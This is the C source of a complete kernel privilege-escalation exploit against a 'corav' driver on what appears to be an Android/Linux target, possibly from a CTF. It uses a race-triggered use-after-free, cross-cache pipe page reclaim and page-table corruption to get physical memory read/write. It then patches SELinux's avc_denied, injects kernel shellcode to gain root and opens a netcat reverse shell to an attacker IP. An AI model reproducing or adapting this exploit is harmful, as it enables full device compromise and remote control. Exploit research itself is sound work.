#define _GNU_SOURCE /* TL;DR: 1. Spray corav entries 2. Prepare cross-cache - spray more corav entries (pre), alloc vuln entry, spray more corav entries (post) 3. Hang corav_update in thread-1 (via proc//fd/) 4. Free entries allocated in step 2, free the vuln entry, then free some of the entries allocated in step 1 to trigger partials flushing 5. Reclaim the page with a pipe page (and fake CORAV_ENTRY_ALIVE) 6. Release thread-1 so the updated entry is inserted 7. Free this new entry, spray page tables and use the pipe to corrupt one of them (gain physical r/w) 8. Patch avd_denied, disable corav, patch corav_calc_sig_from_path with shellcode, and get a mkfifo revshell */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define CORCTL_INSERT 0x6669991 #define CORCTL_UPDATE 0x6669992 #define CORCTL_DELETE 0x6669993 #define LOG_FILENAME "/tmp/log" #define LOG_FILENAME_2 "/storage/emulated/0/Download/xxx" #define CORAV_INITIALIZED 0x281ded0 #define SELINUX_STATE 0x281a5f8 #define PHYS_BASE_DELTA 0x2a04000 #define CORAV_CALC_SIG_FROM_PATH 0x703e30 #define AVC_DENIED 0x6f0430 #define NUM_PIPES 0x1000 #define NUM_OF_PTES 512 #define CALC_PTES(n) (n * 0x1000) // Max 512 * 0x1000 (2MB) bool release = false; // xor eax, eax; ret uint8_t avc_denied_patch[] = { 0x31, 0xc0, 0xc3, 0x00 }; #define SC_SIZE 80 /* push rbp push r15 push r14 push rbx lea r13, [rip + 0x0] sub r13, 0x703e3d // calc kernel base xor rdi, rdi mov rax, r13 add rax, 0x1ecf00 // pkc call rax mov rdi, rax mov rax, r13 add rax, 0x1ecaf0 // cc call rax mov r11, r13 add r11, 0x1404070 // retpoline mov eax, -1 pop rbx pop r14 pop r15 pop rbp cs jmp r11 */ uint8_t sc[] = { 0x55, 0x41, 0x57, 0x41, 0x56, 0x53, 0x4c, 0x8d, 0x2d, 0x00, 0x00, 0x00, 0x00, 0x49, 0x81, 0xed, 0x3d, 0x3e, 0x70, 0x00, 0x48, 0x31, 0xff, 0x4c, 0x89, 0xe8, 0x48, 0x05, 0x00, 0xcf, 0x1e, 0x00, 0xff, 0xd0, 0x48, 0x89, 0xc7, 0x4c, 0x89, 0xe8, 0x48, 0x05, 0xf0, 0xca, 0x1e, 0x00, 0xff, 0xd0, 0x4d, 0x89, 0xeb, 0x49, 0x81, 0xc3, 0x70, 0x40, 0x40, 0x01, 0xb8, 0xff, 0xff, 0xff, 0xff, 0x5b, 0x41, 0x5e, 0x41, 0x5f, 0x5d, 0x2e, 0x41, 0xff, 0xe3, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 }; int cfd; char *evil; int *pipe_a; int logfd = -1; enum corav_risk { RISK_LOW = 0, RISK_MODERATE = 1, RISK_HIGH = 2, }; struct corav_user_entry { uint64_t sig; enum corav_risk risk; bool root_only; char path[1024]; }; struct targs { char *data; size_t size; int fd; uint64_t sig; }; int log_init(void) { if (logfd > 0) return 0; logfd = open(LOG_FILENAME, O_WRONLY|O_CREAT|O_APPEND, 0660); if (logfd < 0) { logfd = open(LOG_FILENAME_2, O_WRONLY|O_CREAT|O_APPEND, 0660); if (logfd < 0) return -1; } return 0; } int log_msg(const char *fmt, ...) { va_list ap; int ret; va_start(ap, fmt); vfprintf(stdout, fmt, ap); va_end(ap); fflush(stdout); if (logfd < 0) return -1; va_start(ap, fmt); ret = vdprintf(logfd, fmt, ap); va_end(ap); if (ret < 0) return -1; return 0; } void log_close(void) { if (logfd >= 0) { close(logfd); logfd = -1; } } int assign_to_core(int core_id) { cpu_set_t mask; CPU_ZERO(&mask); CPU_SET(core_id, &mask); if (sched_setaffinity(getpid(), sizeof(mask), &mask) < 0) { log_msg("[x] sched_setaffinity()"); return -1; } return 0; } int create_thread(int (*func)(void *), void *args) { return clone(func, malloc(0x8000) + 0x8000, SIGCHLD | CLONE_VM | CLONE_FS | CLONE_FILES | CLONE_SIGHAND, args); } static int ppipe(int pipefd[2]) { return syscall(SYS_pipe2, pipefd, 0); } uint64_t do_ioctl(int cmd, char *path, uint64_t old_sig) { struct corav_user_entry ue = { .sig = old_sig, .risk = RISK_LOW, .root_only = false, }; strcpy(ue.path, path); if (ioctl(cfd, cmd, &ue) < 0) { //log_msg("corav_ctl (0x%x): ioctl()\n", cmd); return -1; } return ue.sig; } int write_thread(void *args) { struct targs *t = (struct targs *)args; char *data = t->data; size_t size = t->size; int fd = t->fd; assign_to_core(1); while (!release) { usleep(100); } assign_to_core(0); write(fd, data, size); return 0; } uint64_t corav_ctl(int cmd, uint64_t sig, char *data, size_t size) { char path[0x100]; uint64_t res_sig; int fds[2]; ppipe(fds); snprintf(path, sizeof(path), "/proc/%d/fd/%d", (int)getpid(), fds[0]); if (cmd == CORCTL_UPDATE) { struct targs args = { .fd = fds[1], .data = data, .size = size, }; create_thread(write_thread, &args); res_sig = do_ioctl(cmd, path, sig); } else { write(fds[1], data, size); res_sig = do_ioctl(cmd, path, 0); } close(fds[1]); close(fds[0]); return res_sig; } uint64_t corav_insert(char *data, size_t size) { return corav_ctl(CORCTL_INSERT, 0, data, size); } uint64_t corav_update(uint64_t sig, char *data, size_t size) { return corav_ctl(CORCTL_UPDATE, sig, data, size); } uint64_t corav_delete(char *data, size_t size) { return corav_ctl(CORCTL_DELETE, 0, data, size); } int corav_update_thread(void *args) { struct targs *t = (struct targs *)args; corav_update(t->sig, t->data, t->size); return 0; } int start_corav_update_thread(uint64_t sig, char *data, size_t size) { struct targs args = { .fd = -1, .sig = sig, .data = data, .size = size, }; return create_thread(corav_update_thread, &args); } void **prepare_page_tables(uint64_t addr, int n_pt, int n_pte) { void **pages = calloc(n_pt, sizeof(void *)); for (int i = 0; i < n_pt; i++) { size_t size = CALC_PTES(n_pte); pages[i] = mmap((void*)(addr + i * 0x200000), size, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_SHARED, -1, 0); if (pages[i] == MAP_FAILED) { log_msg("[x] mmap()"); return NULL; } } return pages; } int alloc_pte(char *page, int n_pte) { for (int i = 0; i < n_pte; i++) { char *p = page + i * 0x1000; *(uint64_t *)p = (uint64_t)p; } return 0; } void alloc_page_tables(void **pages, int n_pt, int n_pte) { for (int i = 0; i < n_pt; i++) alloc_pte(pages[i], n_pte); } void *find_pte(void *page, int n_pte) { for (int i = 0; i < n_pte; i++) { char *p = page + i * 0x1000; if (*(uint64_t *)p != (uint64_t)p) return p; } return NULL; } void *find_page(void **pages, int n_pt, int n_pte) { for (int i = 0; i < n_pt; i++) { void *pte = find_pte(pages[i], n_pte); if (pte != NULL) return pages[i]; } return NULL; } void ulimit_max(void) { struct rlimit limit; if (getrlimit(RLIMIT_NOFILE, &limit) < 0) { log_msg("[x] getrlimit()"); return; } limit.rlim_cur = limit.rlim_max; if (setrlimit(RLIMIT_NOFILE, &limit) < 0) { log_msg("[x] setrlimit()"); return; } } uint64_t *mmap_phys_addr(uint64_t addr) { uint64_t pages[0x1000/sizeof(void *)] = { 0 }; read(pipe_a[0], (char *)pages, 0x1000); for (int i = 0; i < 0x1000 / sizeof(void *); i++) pages[i] = (addr & ~0xfffULL) | 0x8000000000000067ULL; write(pipe_a[1], (char *)pages, 0x1000); mprotect(evil, 0x1000, PROT_NONE); mprotect(evil, 0x1000, PROT_READ|PROT_WRITE); return (uint64_t *)( (char *)evil + (addr & 0xfff) ); } void kwrite_32(uint64_t phys_addr, uint32_t dword) { uint32_t *vaddr = (uint32_t *)mmap_phys_addr(phys_addr); *vaddr = dword; } void kwrite_64(uint64_t phys_addr, uint64_t qword) { uint64_t *vaddr = mmap_phys_addr(phys_addr); *vaddr = qword; } uint32_t kread_32(uint64_t phys_addr) { uint32_t *vaddr = (uint32_t *)mmap_phys_addr(phys_addr); return *vaddr; } uint64_t kread_64(uint64_t phys_addr) { uint64_t *vaddr = mmap_phys_addr(phys_addr); return *vaddr; } void main(void) { uint64_t sig; char buff[0x1000]; int fd; int pp[NUM_PIPES][2]; uint64_t *page; ulimit_max(); cfd = open("/dev/corav", 0); corav_insert("pwned?", 6); log_msg("UID: %u", getuid()); void **pages = prepare_page_tables(0xdeadb0000, 0x400, 8); if (!getuid()) goto pwned; assign_to_core(0); log_init(); log_msg("initialized\n"); for (int i = 0; i < NUM_PIPES; i++) ppipe(pp[i]); log_msg("defrag\n"); // Defragment for (uint64_t i = 0x100; i < 0x1000; i++) corav_insert((char *)&i, 8); log_msg("partials\n"); // Partials for (uint64_t i = 0x1000; i < 0x5000; i++) corav_insert((char *)&i, 8); log_msg("pre\n"); // Pre alloc for (uint64_t i = 0x5000; i < 0x5200; i++) corav_insert((char *)&i, 8); sig = corav_insert("A", 1); log_msg("post\n"); // Post alloc for (uint64_t i = 0x5200; i < 0x5400; i++) corav_insert((char *)&i, 8); start_corav_update_thread(sig, "B", 1); sleep(1); // Pre alloc + Post alloc for (uint64_t i = 0x5000; i < 0x5400; i++) corav_delete((char *)&i, 8); log_msg("del\n"); // Vuln entry corav_delete("A", 1); // Create partials -> Page released to page allocator for (uint64_t i = 0x1000; i < 0x5000; i += 64) corav_delete((char *)&i, 8); memset(buff, 0, 0x1000); page = (uint64_t *)buff; for (int i = 0; i < 0x1000 / sizeof(void *); i += sizeof(void *)) { page[i] = 1; // Fake sig page[i + 1] = 0x01020305080d1522; // Entry alive } // Reclaim with page for (int i = 0; i < NUM_PIPES; i++) write(pp[i][1], buff, 0x1000); log_msg("releasing\n"); release = 1; sleep(2); for (int i = 0; i < NUM_PIPES; i++) { read(pp[i][0], buff, 0x1000); if (memchr(buff, 0xFF, 0x1000) != NULL) { pipe_a = pp[i]; break; } } if (pipe_a > 0) { write(pipe_a[1], buff, 0x1000); } else { log_msg("nope\n"); goto clean; } log_msg("deleting\n"); corav_delete("B", 1); alloc_page_tables(pages, 0x400, 8); read(pipe_a[0], buff, 0x1000); page = (uint64_t *)buff; for (int i = 0; i < 0x1000 / 8; i++) page[i] = 0x9c000 | 0x8000000000000067; write(pipe_a[1], buff, 0x1000); evil = (char *)find_page(pages, 0x400, 8); uint64_t phys_addr = *(uint64_t *)evil; uint64_t phys_kbase = (phys_addr & ~0xfff) - PHYS_BASE_DELTA; uint64_t phys_corav_initialized = phys_kbase + CORAV_INITIALIZED; uint64_t phys_corav_sig_from_path = phys_kbase + CORAV_CALC_SIG_FROM_PATH; uint64_t phys_avc_denied = phys_kbase + AVC_DENIED; log_msg("phys_addr @ %llx\n", phys_addr); log_msg("phys_kbase @ %llx\n", phys_kbase); log_msg("phys_corav_initialized @ %llx\n", phys_corav_initialized); log_msg("phys_corav_sig_from_path @ %llx\n", phys_corav_sig_from_path); log_msg("phys_avc_denied @ %llx\n", phys_avc_denied); kwrite_64(phys_corav_initialized, 0); kwrite_32(phys_avc_denied, *(uint32_t *)avc_denied_patch); uint64_t *sc64 = (uint64_t *)sc; for (int i = 0; i < SC_SIZE / 8; i++) kwrite_64(phys_corav_sig_from_path + i * 8, sc64[i]); corav_insert("pwned!", 6); pwned: log_msg("UID: %u", getuid()); system("nsenter -t 1 -m -- sh -c 'mkfifo /sdcard/Download/pwn;cat /sdcard/Download/pwn|/system/bin/sh -i 2>&1|nc " REV_SHELL_IP " " REV_SHELL_PORT " >/sdcard/Download/pwn'"); sleep(10000); clean: for (uint64_t i = 0x100; i < 0x1000; i++) corav_delete((char *)&i, 8); for (uint64_t i = 0x1000; i < 0x5000; i++) corav_delete((char *)&i, 8); }